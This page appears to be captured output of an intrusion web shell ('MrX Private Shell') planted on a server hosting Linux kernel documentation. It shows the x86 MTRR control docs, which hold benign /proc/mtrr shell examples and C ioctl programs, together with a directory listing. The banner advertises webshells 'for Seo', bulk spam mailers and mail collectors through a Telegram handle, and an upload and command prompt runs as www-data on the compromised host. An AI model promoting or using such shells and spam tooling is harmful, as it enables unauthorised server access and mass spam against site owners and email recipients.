__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.192: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>12. MTRR (Memory Type Range Register) control &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="13. PAT (Page Attribute Table)" href="pat.html" />
    <link rel="prev" title="11. The TLB" href="tlb.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul class="current">
<li class="toctree-l1 current"><a class="reference internal" href="../index.html">CPU architectures</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../arc/index.html">ARC architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../arm/index.html">ARM Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../arm64/index.html">ARM64 Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../loongarch/index.html">LoongArch Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../m68k/index.html">m68k Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../mips/index.html">MIPS-specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../nios2/index.html">Nios II Specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../openrisc/index.html">OpenRISC Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../parisc/index.html">PA-RISC Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../powerpc/index.html">powerpc</a></li>
<li class="toctree-l2"><a class="reference internal" href="../riscv/index.html">RISC-V architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../s390/index.html">s390 Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../sh/index.html">SuperH Interfaces Guide</a></li>
<li class="toctree-l2"><a class="reference internal" href="../sparc/index.html">Sparc Architecture</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="index.html">x86-specific Documentation</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="boot.html">1. The Linux/x86 Boot Protocol</a></li>
<li class="toctree-l3"><a class="reference internal" href="booting-dt.html">2. DeviceTree Booting</a></li>
<li class="toctree-l3"><a class="reference internal" href="cpuinfo.html">3. x86 Feature Flags</a></li>
<li class="toctree-l3"><a class="reference internal" href="topology.html">4. x86 Topology</a></li>
<li class="toctree-l3"><a class="reference internal" href="exception-tables.html">5. Kernel level exception handling</a></li>
<li class="toctree-l3"><a class="reference internal" href="kernel-stacks.html">6. Kernel Stacks</a></li>
<li class="toctree-l3"><a class="reference internal" href="entry_64.html">7. Kernel Entries</a></li>
<li class="toctree-l3"><a class="reference internal" href="earlyprintk.html">8. Early Printk</a></li>
<li class="toctree-l3"><a class="reference internal" href="orc-unwinder.html">9. ORC unwinder</a></li>
<li class="toctree-l3"><a class="reference internal" href="zero-page.html">10. Zero Page</a></li>
<li class="toctree-l3"><a class="reference internal" href="tlb.html">11. The TLB</a></li>
<li class="toctree-l3 current"><a class="current reference internal" href="#">12. MTRR (Memory Type Range Register) control</a></li>
<li class="toctree-l3"><a class="reference internal" href="pat.html">13. PAT (Page Attribute Table)</a></li>
<li class="toctree-l3"><a class="reference internal" href="intel-hfi.html">14. Hardware-Feedback Interface for scheduling on Intel Hardware</a></li>
<li class="toctree-l3"><a class="reference internal" href="shstk.html">15. Control-flow Enforcement Technology (CET) Shadow Stack</a></li>
<li class="toctree-l3"><a class="reference internal" href="iommu.html">16. x86 IOMMU Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="intel_txt.html">17. Intel(R) TXT Overview</a></li>
<li class="toctree-l3"><a class="reference internal" href="amd-debugging.html">18. Debugging AMD Zen systems</a></li>
<li class="toctree-l3"><a class="reference internal" href="amd-memory-encryption.html">19. AMD Memory Encryption</a></li>
<li class="toctree-l3"><a class="reference internal" href="amd_hsmp.html">20. AMD HSMP interface</a></li>
<li class="toctree-l3"><a class="reference internal" href="amd-hfi.html">21. Hardware Feedback Interface For Hetero Core Scheduling On AMD Platform</a></li>
<li class="toctree-l3"><a class="reference internal" href="tdx.html">22. Intel Trust Domain Extensions (TDX)</a></li>
<li class="toctree-l3"><a class="reference internal" href="pti.html">23. Page Table Isolation (PTI)</a></li>
<li class="toctree-l3"><a class="reference internal" href="mds.html">24. Microarchitectural Data Sampling (MDS) mitigation</a></li>
<li class="toctree-l3"><a class="reference internal" href="microcode.html">25. The Linux Microcode Loader</a></li>
<li class="toctree-l3"><a class="reference internal" href="tsx_async_abort.html">26. TSX Async Abort (TAA) mitigation</a></li>
<li class="toctree-l3"><a class="reference internal" href="buslock.html">27. Bus lock detection and handling</a></li>
<li class="toctree-l3"><a class="reference internal" href="usb-legacy-support.html">28. USB Legacy support</a></li>
<li class="toctree-l3"><a class="reference internal" href="i386/index.html">29. i386 Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="x86_64/index.html">30. x86_64 Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="ifs.html">31. In-Field Scan</a></li>
<li class="toctree-l3"><a class="reference internal" href="sva.html">32. Shared Virtual Addressing (SVA) with ENQCMD</a></li>
<li class="toctree-l3"><a class="reference internal" href="sgx.html">33. Software Guard eXtensions (SGX)</a></li>
<li class="toctree-l3"><a class="reference internal" href="features.html">34. Feature status on x86 architecture</a></li>
<li class="toctree-l3"><a class="reference internal" href="elf_auxvec.html">35. x86-specific ELF Auxiliary Vectors</a></li>
<li class="toctree-l3"><a class="reference internal" href="xstate.html">36. Using XSTATE features in user space applications</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../xtensa/index.html">Xtensa Architecture</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/arch/x86/mtrr.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="mtrr-memory-type-range-register-control">
<h1><span class="section-number">12. </span>MTRR (Memory Type Range Register) control<a class="headerlink" href="#mtrr-memory-type-range-register-control" title="Link to this heading">¶</a></h1>
<dl class="field-list simple">
<dt class="field-odd">Authors<span class="colon">:</span></dt>
<dd class="field-odd"><ul class="simple">
<li><p>Richard Gooch &lt;<a class="reference external" href="mailto:rgooch&#37;&#52;&#48;atnf&#46;csiro&#46;au">rgooch<span>&#64;</span>atnf<span>&#46;</span>csiro<span>&#46;</span>au</a>&gt; - 3 Jun 1999</p></li>
<li><p>Luis R. Rodriguez &lt;<a class="reference external" href="mailto:mcgrof&#37;&#52;&#48;do-not-panic&#46;com">mcgrof<span>&#64;</span>do-not-panic<span>&#46;</span>com</a>&gt; - April 9, 2015</p></li>
</ul>
</dd>
</dl>
<section id="phasing-out-mtrr-use">
<h2><span class="section-number">12.1. </span>Phasing out MTRR use<a class="headerlink" href="#phasing-out-mtrr-use" title="Link to this heading">¶</a></h2>
<p>MTRR use is replaced on modern x86 hardware with PAT. Direct MTRR use by
drivers on Linux is now completely phased out, device drivers should use
<a class="reference internal" href="../../core-api/kernel-api.html#c.arch_phys_wc_add" title="arch_phys_wc_add"><code class="xref c c-func docutils literal notranslate"><span class="pre">arch_phys_wc_add()</span></code></a> in combination with <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">ioremap_wc()</span></code> to make MTRR effective on
non-PAT systems while a no-op but equally effective on PAT enabled systems.</p>
<p>Even if Linux does not use MTRRs directly, some x86 platform firmware may still
set up MTRRs early before booting the OS. They do this as some platform
firmware may still have implemented access to MTRRs which would be controlled
and handled by the platform firmware directly. An example of platform use of
MTRRs is through the use of SMI handlers, one case could be for fan control,
the platform code would need uncachable access to some of its fan control
registers. Such platform access does not need any Operating System MTRR code in
place other than <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">mtrr_type_lookup()</span></code> to ensure any OS specific mapping requests
are aligned with platform MTRR setup. If MTRRs are only set up by the platform
firmware code though and the OS does not make any specific MTRR mapping
requests <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">mtrr_type_lookup()</span></code> should always return MTRR_TYPE_INVALID.</p>
<p>For details refer to <a class="reference internal" href="pat.html"><span class="doc">PAT (Page Attribute Table)</span></a>.</p>
<div class="admonition tip">
<p class="admonition-title">Tip</p>
<p>On Intel P6 family processors (Pentium Pro, Pentium II and later)
the Memory Type Range Registers (MTRRs) may be used to control
processor access to memory ranges. This is most useful when you have
a video (VGA) card on a PCI or AGP bus. Enabling write-combining
allows bus write transfers to be combined into a larger transfer
before bursting over the PCI/AGP bus. This can increase performance
of image write operations 2.5 times or more.</p>
<p>The Cyrix 6x86, 6x86MX and M II processors have Address Range
Registers (ARRs) which provide a similar functionality to MTRRs. For
these, the ARRs are used to emulate the MTRRs.</p>
<p>The AMD K6-2 (stepping 8 and above) and K6-3 processors have two
MTRRs. These are supported.  The AMD Athlon family provide 8 Intel
style MTRRs.</p>
<p>The Centaur C6 (WinChip) has 8 MCRs, allowing write-combining. These
are supported.</p>
<p>The VIA Cyrix III and VIA C3 CPUs offer 8 Intel style MTRRs.</p>
<p>The CONFIG_MTRR option creates a /proc/mtrr file which may be used
to manipulate your MTRRs. Typically the X server should use
this. This should have a reasonably generic interface so that
similar control registers on other processors can be easily
supported.</p>
</div>
<p>There are two interfaces to /proc/mtrr: one is an ASCII interface
which allows you to read and write. The other is an ioctl()
interface. The ASCII interface is meant for administration. The
ioctl() interface is meant for C programs (i.e. the X server). The
interfaces are described below, with sample commands and C code.</p>
</section>
<section id="reading-mtrrs-from-the-shell">
<h2><span class="section-number">12.2. </span>Reading MTRRs from the shell<a class="headerlink" href="#reading-mtrrs-from-the-shell" title="Link to this heading">¶</a></h2>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>% cat /proc/mtrr
reg00: base=0x00000000 (   0MB), size= 128MB: write-back, count=1
reg01: base=0x08000000 ( 128MB), size=  64MB: write-back, count=1
</pre></div>
</div>
<p>Creating MTRRs from the C-shell:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span># echo &quot;base=0xf8000000 size=0x400000 type=write-combining&quot; &gt;! /proc/mtrr
</pre></div>
</div>
<p>or if you use bash:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span># echo &quot;base=0xf8000000 size=0x400000 type=write-combining&quot; &gt;| /proc/mtrr
</pre></div>
</div>
<p>And the result thereof:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>% cat /proc/mtrr
reg00: base=0x00000000 (   0MB), size= 128MB: write-back, count=1
reg01: base=0x08000000 ( 128MB), size=  64MB: write-back, count=1
reg02: base=0xf8000000 (3968MB), size=   4MB: write-combining, count=1
</pre></div>
</div>
<p>This is for video RAM at base address 0xf8000000 and size 4 megabytes. To
find out your base address, you need to look at the output of your X
server, which tells you where the linear framebuffer address is. A
typical line that you may get is:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>(--) S3: PCI: 968 rev 0, Linear FB @ 0xf8000000
</pre></div>
</div>
<p>Note that you should only use the value from the X server, as it may
move the framebuffer base address, so the only value you can trust is
that reported by the X server.</p>
<p>To find out the size of your framebuffer (what, you don’t actually
know?), the following line will tell you:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>(--) S3: videoram:  4096k
</pre></div>
</div>
<p>That’s 4 megabytes, which is 0x400000 bytes (in hexadecimal).
A patch is being written for XFree86 which will make this automatic:
in other words the X server will manipulate /proc/mtrr using the
ioctl() interface, so users won’t have to do anything. If you use a
commercial X server, lobby your vendor to add support for MTRRs.</p>
</section>
<section id="creating-overlapping-mtrrs">
<h2><span class="section-number">12.3. </span>Creating overlapping MTRRs<a class="headerlink" href="#creating-overlapping-mtrrs" title="Link to this heading">¶</a></h2>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>%echo &quot;base=0xfb000000 size=0x1000000 type=write-combining&quot; &gt;/proc/mtrr
%echo &quot;base=0xfb000000 size=0x1000 type=uncachable&quot; &gt;/proc/mtrr
</pre></div>
</div>
<p>And the results:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>% cat /proc/mtrr
reg00: base=0x00000000 (   0MB), size=  64MB: write-back, count=1
reg01: base=0xfb000000 (4016MB), size=  16MB: write-combining, count=1
reg02: base=0xfb000000 (4016MB), size=   4kB: uncachable, count=1
</pre></div>
</div>
<p>Some cards (especially Voodoo Graphics boards) need this 4 kB area
excluded from the beginning of the region because it is used for
registers.</p>
<p>NOTE: You can only create type=uncachable region, if the first
region that you created is type=write-combining.</p>
</section>
<section id="removing-mtrrs-from-the-c-shel">
<h2><span class="section-number">12.4. </span>Removing MTRRs from the C-shel<a class="headerlink" href="#removing-mtrrs-from-the-c-shel" title="Link to this heading">¶</a></h2>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>% echo &quot;disable=2&quot; &gt;! /proc/mtrr
</pre></div>
</div>
<p>or using bash:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>% echo &quot;disable=2&quot; &gt;| /proc/mtrr
</pre></div>
</div>
</section>
<section id="reading-mtrrs-from-a-c-program-using-ioctl-s">
<h2><span class="section-number">12.5. </span>Reading MTRRs from a C program using ioctl()’s<a class="headerlink" href="#reading-mtrrs-from-a-c-program-using-ioctl-s" title="Link to this heading">¶</a></h2>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>/*  mtrr-show.c

    Source file for mtrr-show (example program to show MTRRs using ioctl()&#39;s)

    Copyright (C) 1997-1998  Richard Gooch

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

    Richard Gooch may be reached by email at  rgooch@atnf.csiro.au
    The postal address is:
      Richard Gooch, c/o ATNF, P. O. Box 76, Epping, N.S.W., 2121, Australia.
*/

/*
    This program will use an ioctl() on /proc/mtrr to show the current MTRR
    settings. This is an alternative to reading /proc/mtrr.


    Written by      Richard Gooch   17-DEC-1997

    Last updated by Richard Gooch   2-MAY-1998


*/
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;errno.h&gt;
#include &lt;asm/mtrr.h&gt;

#define TRUE 1
#define FALSE 0
#define ERRSTRING strerror (errno)

static char *mtrr_strings[MTRR_NUM_TYPES] =
{
    &quot;uncachable&quot;,               /* 0 */
    &quot;write-combining&quot;,          /* 1 */
    &quot;?&quot;,                        /* 2 */
    &quot;?&quot;,                        /* 3 */
    &quot;write-through&quot;,            /* 4 */
    &quot;write-protect&quot;,            /* 5 */
    &quot;write-back&quot;,               /* 6 */
};

int main ()
{
    int fd;
    struct mtrr_gentry gentry;

    if ( ( fd = open (&quot;/proc/mtrr&quot;, O_RDONLY, 0) ) == -1 )
    {
  if (errno == ENOENT)
  {
      fputs (&quot;/proc/mtrr not found: not supported or you don&#39;t have a PPro?\n&quot;,
      stderr);
      exit (1);
  }
  fprintf (stderr, &quot;Error opening /proc/mtrr\t%s\n&quot;, ERRSTRING);
  exit (2);
    }
    for (gentry.regnum = 0; ioctl (fd, MTRRIOC_GET_ENTRY, &amp;gentry) == 0;
  ++gentry.regnum)
    {
  if (gentry.size &lt; 1)
  {
      fprintf (stderr, &quot;Register: %u disabled\n&quot;, gentry.regnum);
      continue;
  }
  fprintf (stderr, &quot;Register: %u base: 0x%lx size: 0x%lx type: %s\n&quot;,
    gentry.regnum, gentry.base, gentry.size,
    mtrr_strings[gentry.type]);
    }
    if (errno == EINVAL) exit (0);
    fprintf (stderr, &quot;Error doing ioctl(2) on /dev/mtrr\t%s\n&quot;, ERRSTRING);
    exit (3);
}   /*  End Function main  */
</pre></div>
</div>
</section>
<section id="creating-mtrrs-from-a-c-programme-using-ioctl-s">
<h2><span class="section-number">12.6. </span>Creating MTRRs from a C programme using ioctl()’s<a class="headerlink" href="#creating-mtrrs-from-a-c-programme-using-ioctl-s" title="Link to this heading">¶</a></h2>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>/*  mtrr-add.c

    Source file for mtrr-add (example programme to add an MTRRs using ioctl())

    Copyright (C) 1997-1998  Richard Gooch

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

    Richard Gooch may be reached by email at  rgooch@atnf.csiro.au
    The postal address is:
      Richard Gooch, c/o ATNF, P. O. Box 76, Epping, N.S.W., 2121, Australia.
*/

/*
    This programme will use an ioctl() on /proc/mtrr to add an entry. The first
    available mtrr is used. This is an alternative to writing /proc/mtrr.


    Written by      Richard Gooch   17-DEC-1997

    Last updated by Richard Gooch   2-MAY-1998


*/
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;errno.h&gt;
#include &lt;asm/mtrr.h&gt;

#define TRUE 1
#define FALSE 0
#define ERRSTRING strerror (errno)

static char *mtrr_strings[MTRR_NUM_TYPES] =
{
    &quot;uncachable&quot;,               /* 0 */
    &quot;write-combining&quot;,          /* 1 */
    &quot;?&quot;,                        /* 2 */
    &quot;?&quot;,                        /* 3 */
    &quot;write-through&quot;,            /* 4 */
    &quot;write-protect&quot;,            /* 5 */
    &quot;write-back&quot;,               /* 6 */
};

int main (int argc, char **argv)
{
    int fd;
    struct mtrr_sentry sentry;

    if (argc != 4)
    {
  fprintf (stderr, &quot;Usage:\tmtrr-add base size type\n&quot;);
  exit (1);
    }
    sentry.base = strtoul (argv[1], NULL, 0);
    sentry.size = strtoul (argv[2], NULL, 0);
    for (sentry.type = 0; sentry.type &lt; MTRR_NUM_TYPES; ++sentry.type)
    {
  if (strcmp (argv[3], mtrr_strings[sentry.type]) == 0) break;
    }
    if (sentry.type &gt;= MTRR_NUM_TYPES)
    {
  fprintf (stderr, &quot;Illegal type: \&quot;%s\&quot;\n&quot;, argv[3]);
  exit (2);
    }
    if ( ( fd = open (&quot;/proc/mtrr&quot;, O_WRONLY, 0) ) == -1 )
    {
  if (errno == ENOENT)
  {
      fputs (&quot;/proc/mtrr not found: not supported or you don&#39;t have a PPro?\n&quot;,
      stderr);
      exit (3);
  }
  fprintf (stderr, &quot;Error opening /proc/mtrr\t%s\n&quot;, ERRSTRING);
  exit (4);
    }
    if (ioctl (fd, MTRRIOC_ADD_ENTRY, &amp;sentry) == -1)
    {
  fprintf (stderr, &quot;Error doing ioctl(2) on /dev/mtrr\t%s\n&quot;, ERRSTRING);
  exit (5);
    }
    fprintf (stderr, &quot;Sleeping for 5 seconds so you can see the new entry\n&quot;);
    sleep (5);
    close (fd);
    fputs (&quot;I&#39;ve just closed /proc/mtrr so now the new entry should be gone\n&quot;,
    stderr);
}   /*  End Function main  */
</pre></div>
</div>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/arch/x86/mtrr.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
i386 Folder 0755
x86_64 Folder 0755
amd-debugging.html File 37.71 KB 0644
amd-hfi.html File 23.59 KB 0644
amd-memory-encryption.html File 26.71 KB 0644
amd_hsmp.html File 22.25 KB 0644
boot.html File 90.24 KB 0644
booting-dt.html File 13.53 KB 0644
buslock.html File 19.47 KB 0644
cpuinfo.html File 25.13 KB 0644
earlyprintk.html File 20.49 KB 0644
elf_auxvec.html File 14.44 KB 0644
entry_64.html File 17.44 KB 0644
exception-tables.html File 32.18 KB 0644
features.html File 21.74 KB 0644
ifs.html File 23.92 KB 0644
index.html File 37.18 KB 0644
intel-hfi.html File 17.6 KB 0644
intel_txt.html File 24.6 KB 0644
iommu.html File 20.98 KB 0644
kernel-stacks.html File 20.27 KB 0644
mds.html File 23.86 KB 0644
microcode.html File 23.17 KB 0644
mtrr.html File 27.58 KB 0644
orc-unwinder.html File 23.04 KB 0644
pat.html File 27.75 KB 0644
pti.html File 24.03 KB 0644
sgx.html File 52.06 KB 0644
shstk.html File 22.05 KB 0644
sva.html File 28.77 KB 0644
tdx.html File 37.07 KB 0644
tlb.html File 17.19 KB 0644
topology.html File 32.47 KB 0644
tsx_async_abort.html File 21.14 KB 0644
usb-legacy-support.html File 14.32 KB 0644
xstate.html File 20.64 KB 0644
zero-page.html File 18.08 KB 0644
Filemanager